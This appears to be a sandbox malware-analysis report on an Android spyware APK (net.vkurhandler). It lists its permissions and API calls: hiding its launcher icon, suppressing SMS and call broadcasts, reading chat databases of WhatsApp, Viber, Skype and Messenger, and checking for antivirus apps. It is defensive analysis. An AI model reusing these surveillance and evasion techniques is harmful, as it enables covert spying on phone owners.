Source: submitted apkRequest permission: android.permission.WAKE_LOCK
Source: submitted apkRequest permission: android.permission.WRITE_EXTERNAL_STORAGE
Source: submitted apkRequest permission: android.permission.WRITE_SETTINGS
Source: submitted apkRequest permission: android.permission.WRITE_SMS
Source: submitted apkRequest permission: com.android.browser.permission.READ_HISTORY_BOOKMARKS
Source: submitted apkRequest permission: com.android.browser.permission.WRITE_HISTORY_BOOKMARKS
Classification labelShow sources
Source: classification engineClassification label: mal92.rans.adwa.spyw.evad.and@0/251@1/0
Loads native librariesShow sources
Source: net.vkurhandler.bo;-><clinit>:3API Call: java.lang.System.loadLibrary ("mp3lame")
Source: com.nll.nativelibs.callrecording.Native;-><clinit>:2API Call: java.lang.System.loadLibrary ("acr")
Reads shares settingsShow sources
Source: net.vkurhandler.Mobile;->h:144API Call: "device_id":
Source: net.vkurhandler.dc;->b:59API Call: "last_work_host": reptilicus.net
Source: net.vkurhandler.Sms2Receiver;->onReceive:17API Call: "sms_code_word": netstat
Source: net.vkurhandler.Sms2Receiver;->onReceive:39API Call: "call_password": 3454
Source: net.vkurhandler.CallReceiver;->b:217API Call: "call_password": 3454
Source: net.vkurhandler.AddInterceptionAudioPathActivity;->b:23API Call: android.content.SharedPreferences.getString
Source: net.vkurhandler.AddInterceptionPhotoPathActivity;->b:23API Call: android.content.SharedPreferences.getString
Source: net.vkurhandler.AddRemovePackageReceiver;->onReceive:45API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.AudiorecordEnvironmentSchedule;->a:16API Call: android.content.SharedPreferences.getString
Source: net.vkurhandler.AudiorecordEnvironmentSchedule;->onReceive:226API Call: android.content.SharedPreferences.getString
Source: net.vkurhandler.AudiorecordEnvironmentScheduleActivity;->onCreate:310API Call: android.content.SharedPreferences.getString
Source: net.vkurhandler.CallReceiver;->a:88API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.CallReceiver;->a:172API Call: android.content.SharedPreferences.getString
Source: net.vkurhandler.CallRecordActivity;->a:22API Call: android.content.SharedPreferences.getString
Source: net.vkurhandler.CallRecordActivity;->a:28API Call: android.content.SharedPreferences.getString
Source: net.vkurhandler.CallRecordActivity;->a:34API Call: android.content.SharedPreferences.getString
Source: net.vkurhandler.CallRecordActivity;->a:40API Call: android.content.SharedPreferences.getString
Source: net.vkurhandler.CallRecordActivity;->a:46API Call: android.content.SharedPreferences.getString
Source: net.vkurhandler.DispatchSchedule;->a:5API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.DispatchSchedule;->a:7API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.DispatchSchedule;->a:9API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.DispatchSchedule;->a:16API Call: android.content.SharedPreferences.getString
Source: net.vkurhandler.DispatchService;->a:39API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.DispatchService;->a:42API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.DispatchService;->a:45API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.DispatchService;->a:78API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.DispatchService;->d:223API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.DispatchService;->onHandleIntent:418API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.DispatchService;->onHandleIntent:420API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.DispatchService;->onHandleIntent:422API Call: android.content.SharedPreferences.getString
Source: net.vkurhandler.DispatchService;->onHandleIntent:424API Call: android.content.SharedPreferences.getString
Source: net.vkurhandler.EnterActivity;->a:30API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.KeysInterceptor;->a:9API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.KeysInterceptor;->a:12API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.MainActivity;->a:5API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.MediaMountReceiver;->onReceive:25API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.MediaMountReceiver;->onReceive:32API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.MessengerFilterActivity;->a:9API Call: android.content.SharedPreferences.getString
Source: net.vkurhandler.MessengerFilterActivity;->a:46API Call: android.content.SharedPreferences.getString
Source: net.vkurhandler.MyApp;->y:140API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.MyApp;->c:187API Call: android.content.SharedPreferences.getString
Source: net.vkurhandler.MyApp;->c:194API Call: android.content.SharedPreferences.getString
Source: net.vkurhandler.MyApp;->c:201API Call: android.content.SharedPreferences.getString
Source: net.vkurhandler.MyApp;->c:205API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.MyApp;->c:210API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.MyApp;->c:221API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.MyApp;->c:231API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.MyApp;->c:236API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.MyApp;->c:258API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.ParentControlBlockAppActivity;->a:100API Call: android.content.SharedPreferences.getString
Source: net.vkurhandler.RDeviceAdminReceiver;->onPasswordFailed:34API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.RDeviceAdminReceiver;->onPasswordFailed:39API Call: android.content.SharedPreferences.getString
Source: net.vkurhandler.ScreenMakerAppFilter;->a:5API Call: android.content.SharedPreferences.getString
Source: net.vkurhandler.ScreenMakerAppFilter;->onCreate:140API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SettingsActivity;->a:24API Call: android.content.SharedPreferences.getString
Source: net.vkurhandler.SettingsActivity;->i:266API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SettingsActivity;->i:294API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SettingsActivity;->i:299API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SettingsActivity;->i:310API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SettingsActivity;->i:344API Call: android.content.SharedPreferences.getString
Source: net.vkurhandler.SettingsActivity;->i:398API Call: android.content.SharedPreferences.getString
Source: net.vkurhandler.SettingsActivity;->i:404API Call: android.content.SharedPreferences.getString
Source: net.vkurhandler.SettingsActivity;->i:410API Call: android.content.SharedPreferences.getString
Source: net.vkurhandler.SettingsActivity;->i:429API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SettingsActivity;->i:438API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SettingsActivity;->i:447API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SettingsActivity;->i:456API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SettingsActivity;->i:465API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SettingsActivity;->i:474API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SettingsActivity;->i:483API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SettingsActivity;->i:491API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SettingsActivity;->i:503API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SettingsActivity;->i:512API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SettingsActivity;->i:521API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SettingsActivity;->onCreate:874API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SettingsActivity;->onCreate:878API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SettingsActivity;->onCreate:883API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SettingsActivity;->onCreate:891API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SettingsExpertActivity;->a:32API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SettingsExpertActivity;->a:55API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SettingsExpertActivity;->a:64API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SettingsExpertActivity;->a:73API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SettingsExpertActivity;->a:82API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SettingsExpertActivity;->a:91API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SettingsExpertActivity;->a:100API Call: android.content.SharedPreferences.getString
Source: net.vkurhandler.SettingsExpertActivity;->a:118API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SettingsExpertActivity;->a:127API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SettingsExpertActivity;->a:136API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SettingsRootActivity;->a:54API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SettingsRootActivity;->a:63API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SettingsRootActivity;->a:72API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SettingsRootActivity;->a:81API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SettingsRootActivity;->a:90API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SettingsRootActivity;->a:99API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SettingsRootActivity;->a:108API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SettingsRootActivity;->a:117API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SettingsRootActivity;->a:126API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SettingsRootActivity;->a:135API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SettingsRootActivity;->a:144API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SettingsRootActivity;->a:153API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SettingsRootActivity;->a:162API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SettingsRootActivity;->a:171API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SettingsRootActivity;->a:180API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SettingsRootActivity;->a:189API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SettingsRootActivity;->a:198API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SettingsRootActivity;->a:207API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SettingsRootActivity;->a:216API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SettingsRootActivity;->a:225API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SettingsRootActivity;->a:234API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SettingsRootActivity;->a:241API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SettingsRootActivity;->a:250API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SettingsRootActivity;->a:259API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SettingsRootActivity;->a:264API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SimChangeNotifier;->onReceive:11API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SimChangeNotifier;->onReceive:25API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.SimChangeNotifier;->onReceive:27API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.Sms2Receiver;->onReceive:65API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.UserPresent;->onReceive:9API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.UserPresent;->onReceive:13API Call: android.content.SharedPreferences.getString
Source: net.vkurhandler.WatchDogReceiver;->onReceive:11API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.WatchDogReceiver;->onReceive:17API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.a;->a:23API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.ad;->b:18API Call: android.content.SharedPreferences.getString
Source: net.vkurhandler.ah;->a:897API Call: android.content.SharedPreferences.getString
Source: net.vkurhandler.ah;->a:930API Call: android.content.SharedPreferences.getString
Source: net.vkurhandler.ah;->a:965API Call: android.content.SharedPreferences.getString
Source: net.vkurhandler.ah;->a:998API Call: android.content.SharedPreferences.getString
Source: net.vkurhandler.ah;->a:1150API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.ah;->a:1198API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.ah;->a:1496API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.ah;->a:1511API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.ah;->a:1526API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.ah;->a:1536API Call: android.content.SharedPreferences.getString
Source: net.vkurhandler.ah;->a:1563API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.ah;->a:1574API Call: android.content.SharedPreferences.getString
Source: net.vkurhandler.ah;->a:1587API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.ah;->a:1621API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.al;->onChange:134API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.aw;->a:22API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.bf;->b:98API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.bf;->b:115API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.bh;->a:32API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.bt;->a:38API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.ci;->run:76API Call: android.content.SharedPreferences.getString
Source: net.vkurhandler.cx;->b:20API Call: android.content.SharedPreferences.getString
Source: net.vkurhandler.dd;->run:18API Call: android.content.SharedPreferences.getString
Source: net.vkurhandler.df;->f:54API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.df;->g:57API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.dg;->f:47API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.dg;->g:50API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.dg;->run:117API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.dg;->run:153API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.dg;->run:188API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.dh;->f:136API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.dh;->f:139API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.dh;->f:142API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.dh;->g:145API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.dh;->run:216API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.dh;->run:258API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.dh;->run:293API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.di;->f:93API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.di;->g:96API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.dj;->b:9API Call: android.content.SharedPreferences.getString
Source: net.vkurhandler.dl;->f:111API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.dl;->g:114API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.dm;->f:113API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.dm;->g:116API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.do;->f:188API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.do;->f:191API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.do;->f:194API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.do;->g:197API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.do;->run:278API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.dp;->f:77API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.dp;->g:80API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.dq;->f:129API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.dq;->f:132API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.dq;->g:135API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.dq;->run:235API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.dr;->f:149API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.dr;->g:152API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.ds;->f:213API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.ds;->f:216API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.ds;->f:219API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.ds;->g:222API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.ds;->run:319API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.ds;->run:357API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.du;->onClick:7API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.eg;->b:20API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.eg;->b:29API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.eg;->b:34API Call: android.content.SharedPreferences.getString
Source: net.vkurhandler.en;->onReceive:19API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.en;->onReceive:23API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.fy;->run:20API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.fy;->run:35API Call: android.content.SharedPreferences.getString
Source: net.vkurhandler.fz;->onChange:47API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.h;->run:6API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.h;->run:18API Call: android.content.SharedPreferences.getBoolean
Source: net.vkurhandler.n;->b:12API Call: android.content.SharedPreferences.getString
Source: com.nll.nativelibs.callrecording.a;-><init>:15API Call: android.content.SharedPreferences.getString

Data Obfuscation:

barindex
Obfuscates method namesShow sources
Source: nUcFpnJ7qZTotal valid method names: 25%
Uses reflectionShow sources
Source: com.a.a.a.a;->a:94API Call: Real call: protected org.apache.http.HttpEntity org.apache.http.entity.HttpEntityWrapper.wrappedEntity
Source: com.a.a.a.a;->a:94API Call: Real call: protected org.apache.http.HttpEntity org.apache.http.entity.HttpEntityWrapper.wrappedEntity
Source: com.a.a.a.a;->a:94API Call: Real call: protected org.apache.http.HttpEntity org.apache.http.entity.HttpEntityWrapper.wrappedEntity
Source: com.a.a.a.a;->a:94API Call: Real call: protected org.apache.http.HttpEntity org.apache.http.entity.HttpEntityWrapper.wrappedEntity
Source: com.a.a.a.a;->a:94API Call: Real call: protected org.apache.http.HttpEntity org.apache.http.entity.HttpEntityWrapper.wrappedEntity
Source: com.a.a.a.a;->a:94API Call: Real call: protected org.apache.http.HttpEntity org.apache.http.entity.HttpEntityWrapper.wrappedEntity
Source: com.a.a.a.a;->a:94API Call: Real call: protected org.apache.http.HttpEntity org.apache.http.entity.HttpEntityWrapper.wrappedEntity
Source: net.vkurhandler.gn;->b:380API Call: Real call: public static java.lang.String android.os.SystemProperties.get(java.lang.String)
Source: net.vkurhandler.Mobile;->a:21API Call: java.lang.reflect.Method.invoke
Source: net.vkurhandler.Mobile;->a:46API Call: java.lang.reflect.Method.invoke
Source: net.vkurhandler.Mobile;->a:53API Call: java.lang.reflect.Method.invoke
Source: net.vkurhandler.Mobile;->a:63API Call: java.lang.reflect.Field.get
Source: net.vkurhandler.Mobile;->a:72API Call: java.lang.reflect.Method.invoke
Source: net.vkurhandler.Mobile;->h:156API Call: java.lang.reflect.Method.invoke
Source: net.vkurhandler.gn;->c:426API Call: java.lang.reflect.Method.invoke

Persistence and Installation Behavior:

barindex
Has permission to install other packagesShow sources
Source: submitted apkRequest permission: android.permission.INSTALL_PACKAGES

Boot Survival:

barindex
Has permission to execute code after phone rebootShow sources
Source: submitted apkRequest permission: android.permission.RECEIVE_BOOT_COMPLETED

Hooking and other Techniques for Hiding and Protection:

barindex
Removes its application launcher (likely to stay hidden)Show sources
Source: net.vkurhandler.SettingsActivity;->hideUnhideApp:700API Call: android.content.pm.PackageManager.setComponentEnabledSetting
Source: net.vkurhandler.ah;->a:462API Call: android.content.pm.PackageManager.setComponentEnabledSetting
Source: net.vkurhandler.gn;->g:718API Call: android.content.pm.PackageManager.setComponentEnabledSetting
Aborts a broadcast event (this is often done to hide phone events such as incoming SMS)Show sources
Source: net.vkurhandler.CallReceiver;->b:192API Call: net.vkurhandler.CallReceiver.abortBroadcast
Source: net.vkurhandler.Sms2Receiver;->onReceive:34API Call: net.vkurhandler.Sms2Receiver.abortBroadcast
Source: net.vkurhandler.Sms2Receiver;->onReceive:45API Call: net.vkurhandler.Sms2Receiver.abortBroadcast
Has permission to draw over other applications or user interfacesShow sources
Source: submitted apkRequest permission: android.permission.SYSTEM_ALERT_WINDOW
Has permission to query the list of currently running applicationsShow sources
Source: submitted apkRequest permission: android.permission.GET_TASKS
Has permissions to monitor, redirect and/or block callsShow sources
Source: submitted apkRequest permission: android.permission.PROCESS_OUTGOING_CALLS
Queries list of running processes/tasksShow sources
Source: net.vkurhandler.gn;->a:78API Call: android.app.ActivityManager.getRunningTasks
Uses Crypto APIsShow sources
Source: net.vkurhandler.gn;->a:101API Call: java.security.MessageDigest.getInstance
Source: net.vkurhandler.gn;->a:103API Call: java.security.MessageDigest.update
Source: net.vkurhandler.gn;->a:104API Call: java.security.MessageDigest.digest

Malware Analysis System Evasion:

barindex
Accesses android OS build fieldsShow sources
Source: net.vkurhandler.AddDeviceActivity;->addDevice:39Field Access: android.os.Build.MODEL
Source: net.vkurhandler.AddDeviceActivity;->addDevice:42Field Access: android.os.Build.FINGERPRINT
Source: net.vkurhandler.ParentControlActivity;->a:11Field Access: android.os.Build.MODEL
Source: net.vkurhandler.RegistrationActivity;->onClickCreateAccount:71Field Access: android.os.Build.MODEL
Source: net.vkurhandler.RegistrationActivity;->onClickCreateAccount:74Field Access: android.os.Build.FINGERPRINT
Source: net.vkurhandler.SettingsActivity;->a:120Field Access: android.os.Build.MODEL
Source: net.vkurhandler.ah;->b:1986Field Access: android.os.Build.MODEL
Source: net.vkurhandler.bd;->run:23Field Access: android.os.Build.MODEL
Source: net.vkurhandler.bd;->run:26Field Access: android.os.Build.FINGERPRINT
Source: net.vkurhandler.bg;->c:72Field Access: android.os.Build.MODEL
Source: net.vkurhandler.bg;->d:690Field Access: android.os.Build.MODEL
Source: com.nll.nativelibs.callrecording.c;->a:2Field Access: android.os.Build$VERSION.RELEASE
Source: com.nll.nativelibs.callrecording.c;->a:5Field Access: android.os.Build$VERSION.RELEASE
Source: com.nll.nativelibs.callrecording.c;->g:32Field Access: android.os.Build.MODEL
Source: com.nll.nativelibs.callrecording.c;->h:36Field Access: android.os.Build.MANUFACTURER
Queries several sensitive phone informationsShow sources
Source: Lnet/vkurhandler/AddRemovePackageReceiver;->b(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;I)VMethod string: "type"
Source: Lnet/vkurhandler/ah;->a()VMethod string: "version"
Source: Lnet/vkurhandler/dh;-><clinit>()VMethod string: "phone"
Source: Lnet/vkurhandler/as;-><clinit>()VMethod string: "time"
Queries the unique operating system id (ANDROID_ID)Show sources
Source: net.vkurhandler.Mobile;->h:161API Call: android.provider.Settings$Secure.getString

Language, Device and Operating System Detection:

barindex
Queries the device phone number (MSISDN)Show sources
Source: net.vkurhandler.CallReceiver;->b:187API Call: android.content.Intent.getStringExtra
Queries the network operator nameShow sources
Source: net.vkurhandler.Mobile;->g:137API Call: android.telephony.TelephonyManager.getNetworkOperatorName
Queries the network operator numeric MCC+MNC (mobile country code + mobile network code)Show sources
Source: net.vkurhandler.Mobile;->b:122API Call: android.telephony.TelephonyManager.getNetworkOperator
Queries the unqiue device ID (IMEI, MEID or ESN)Show sources
Source: net.vkurhandler.Mobile;->a:117API Call: android.telephony.TelephonyManager.getSubscriberId
Source: net.vkurhandler.Mobile;->h:148API Call: android.telephony.TelephonyManager.getDeviceId

Lowering of HIPS / PFW / Operating System Security Settings:

barindex
May check for install Android security applications (AV and firewalls)Show sources
Source: Lnet/vkurhandler/de;-><clinit>()VMethod string: "com.drweb"
Source: Lnet/vkurhandler/de;-><clinit>()VMethod string: "com.cleanmaster.mguard"
Source: Lnet/vkurhandler/de;-><clinit>()VMethod string: "com.eset.ems2.gp"
Source: Lnet/vkurhandler/de;-><clinit>()VMethod string: "com.avast.android.mobilesecurity"
Source: Lnet/vkurhandler/de;-><clinit>()VMethod string: "com.cleanmaster.security"
Source: Lnet/vkurhandler/de;-><clinit>()VMethod string: "com.qihoo.security"
Source: Lnet/vkurhandler/de;-><clinit>()VMethod string: "com.antivirus"
Source: Lnet/vkurhandler/de;-><clinit>()VMethod string: "com.avira.android"
Source: Lnet/vkurhandler/de;-><clinit>()VMethod string: "com.qihoo.security.lite"
Source: Lnet/vkurhandler/de;-><clinit>()VMethod string: "com.antivirus.security.forandroid.scanner"
Source: Lnet/vkurhandler/de;-><clinit>()VMethod string: "com.antivirus.tablet"
Source: Lnet/vkurhandler/de;-><clinit>()VMethod string: "com.wsandroid.suite"

Stealing of Sensitive Information:

barindex
Monitors outgoing Phone callsShow sources
Source: net.vkurhandler.CallReceiverRegistered receiver: android.intent.action.NEW_OUTGOING_CALL
Reads the serial number of the deviceShow sources
Source: Lnet/vkurhandler/Mobile;->h()Ljava/lang/String;Method string: "ro.serialno"
Creates SMS data (e.g. PDU)Show sources
Source: net.vkurhandler.Sms2Receiver;->onReceive:50API Call: android.telephony.SmsManager.createFromPdu
Has an unnatural receiver priority (often indicator for malware)Show sources
Source: android.intent.action.NEW_OUTGOING_CALLUnnatural priority: 2147483647
Has permission to read contactsShow sources
Source: submitted apkRequest permission: android.permission.READ_CONTACTS
Has permission to read the SMS storageShow sources
Source: submitted apkRequest permission: android.permission.READ_SMS
Has permission to read the call logShow sources
Source: submitted apkRequest permission: android.permission.READ_CALL_LOG
Has permission to read the default browser historyShow sources
Source: submitted apkRequest permission: com.android.browser.permission.READ_HISTORY_BOOKMARKS
Has permission to read the phones state (phone number, device IDs, active call ect.)Show sources
Source: submitted apkRequest permission: android.permission.READ_PHONE_STATE
Has permission to receive SMS in the backgroundShow sources
Source: submitted apkRequest permission: android.permission.RECEIVE_SMS
Has permissions to create, read or change account settings (inlcuding account password settings)Show sources
Source: submitted apkRequest permission: android.permission.GET_ACCOUNTS
May spy on facebook databaseShow sources
Source: Lnet/vkurhandler/df;->run()VMethod string: "/data/data/com.facebook.orca/databases/threads_db2" (chat messages)
Source: Lnet/vkurhandler/df;-><init>(Landroid/content/Context;)VMethod string: "/data/data/com.facebook.orca/databases/threads_db2" (chat messages)
Source: Lnet/vkurhandler/df;-><clinit>()VMethod string: "/data/data/com.facebook.orca/databases/threads_db2.cp" (chat messages)
May spy on skype databaseShow sources
Source: Lnet/vkurhandler/dm;-><clinit>()VMethod string: "/data/data/com.skype.raider/files/%s/main.db"
May spy on viber chat VOIP dataShow sources
Source: Lnet/vkurhandler/dq;->run()VMethod string: "/data/data/com.viber.voip/databases/viber_messages"
Source: Lnet/vkurhandler/dq;-><init>(Landroid/content/Context;)VMethod string: "/data/data/com.viber.voip/databases/viber_messages"
May spy on whatsapp messagesShow sources
Source: Lnet/vkurhandler/ds;->run()VMethod string: "/data/data/com.whatsapp/databases/msgstore.db"
Source: Lnet/vkurhandler/ds;->d(Ljava/lang/String;)Ljava/lang/String;Method string: "/data/data/com.whatsapp/databases/msgstore.db"
Monitors incoming Phone callsShow sources
Source: net.vkurhandler.CallReceiverRegistered receiver: android.intent.action.PHONE_STATE
Monitors incoming SMSShow sources
Source: net.vkurhandler.Sms2ReceiverRegistered receiver: android.provider.Telephony.SMS_RECEIVED
Parses SMS data (e.g. originating address)Show sources
Source: net.vkurhandler.Sms2Receiver;->onReceive:56API Call: android.telephony.SmsMessage.getOriginatingAddress
Queries SMS dataShow sources
Source: net.vkurhandler.fz;-><clinit>:2API Call: android.net.Uri.parse("content://sms")
Queries a list of installed applicationsShow sources
Source: net.vkurhandler.ScreenMakerAppFilter;->c:84API Call: android.content.pm.PackageManager.getInstalledApplications
Source: net.vkurhandler.gn;->o:797API Call: android.content.pm.PackageManager.getInstalledApplications
Queries browser bookmarksShow sources
Source: Lnet/vkurhandler/ah;->a()VMethod string: content://com.android.chrome.browser/bookmarks
Queries camera informationShow sources
Source: net.vkurhandler.PhotoActivity;->onCreate:66API Call: android.hardware.Camera.open
Source: net.vkurhandler.ay;->a:3API Call: android.hardware.Camera.getNumberOfCameras
Source: net.vkurhandler.ay;->a:4API Call: android.hardware.Camera.open
Source: net.vkurhandler.ay;->a:5API Call: android.hardware.Camera.getCameraInfo
Source: net.vkurhandler.ay;->a:6API Call: android.hardware.Camera.open
Source: net.vkurhandler.cz;->a:35API Call: android.hardware.Camera.open
Source: net.vkurhandler.ga;->a:2API Call: android.hardware.Camera.open
Queries phone contact informationShow sources
Source: net.vkurhandler.al;->a:12API Call: android.content.ContentResolver.query content://com.android.contacts/data/phones
Source: net.vkurhandler.al;->a:82API Call: android.content.ContentResolver.query content://com.android.contacts/data/phones
Source: net.vkurhandler.MyApp;->y:48Field access: android.provider.ContactsContract$CommonDataKinds$Phone.CONTENT_URI
